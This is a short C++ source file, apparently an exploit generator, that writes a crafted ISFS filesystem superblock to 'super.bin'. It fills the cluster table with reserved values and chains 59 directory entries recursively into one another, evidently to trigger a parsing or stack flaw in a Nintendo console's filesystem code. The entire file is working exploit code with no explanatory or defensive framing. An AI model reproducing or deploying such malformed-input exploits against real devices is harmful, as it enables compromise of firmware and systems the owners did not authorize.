fsthax.cpp

#include <iostream>
#include <fstream>
#include <arpa/inet.h>
#include <cstdint>
#include <cstring>

struct FST_Entry
{
    char name[12];
    uint8_t mode;
    uint8_t attr;
    uint16_t sub;
    uint16_t sib;
    uint32_t size;
    uint16_t x1;
    uint16_t uid;
    uint16_t gid;
    uint32_t x3;
} __attribute__((packed));

struct ISFS_Superblock
{
    uint32_t magic;
    uint32_t generation;
    uint32_t field_0x8;
    uint16_t fat[0x8000];
    FST_Entry fst[6143];
    uint8_t pad[20];
} __attribute__((packed));


ISFS_Superblock *craftSuperBlock(void)
{
	ISFS_Superblock *super = new ISFS_Superblock();
	
	super->magic = htonl(0x53465321);
	super->generation = htonl(0xffff0000);
	super->field_0x8 = htonl(0);

	/* fill cluster chain */
	for (int i = 0; i < 0x8000; i++) {
		super->fat[i] = htons(0xFFFC);
	}

	/* generate 59 recursive directory entries */
	unsigned ifst;
	for (ifst = 0; ifst < 59; ifst++) {
		strcpy(super->fst[ifst].name, (ifst) ? "a" : "/");
		super->fst[ifst].mode = 2;
		super->fst[ifst].attr = 0;
		super->fst[ifst].sib = htons(0xFFFF);
		super->fst[ifst].sub = htons(ifst + 1);
	}

	return super;
}

bool writeFile(std::string const & filename, char const * data, size_t const bytes)
{
	std::ofstream fout(filename.c_str(), std::fstream::out | std::fstream::binary);
	if (!fout)
		return false;
	fout.write(data, bytes);
	return (fout.good());
}

int main(int argc, char **argv)
{
	ISFS_Superblock *super = craftSuperBlock();
	writeFile("super.bin", (char const *)super, sizeof(*super));
}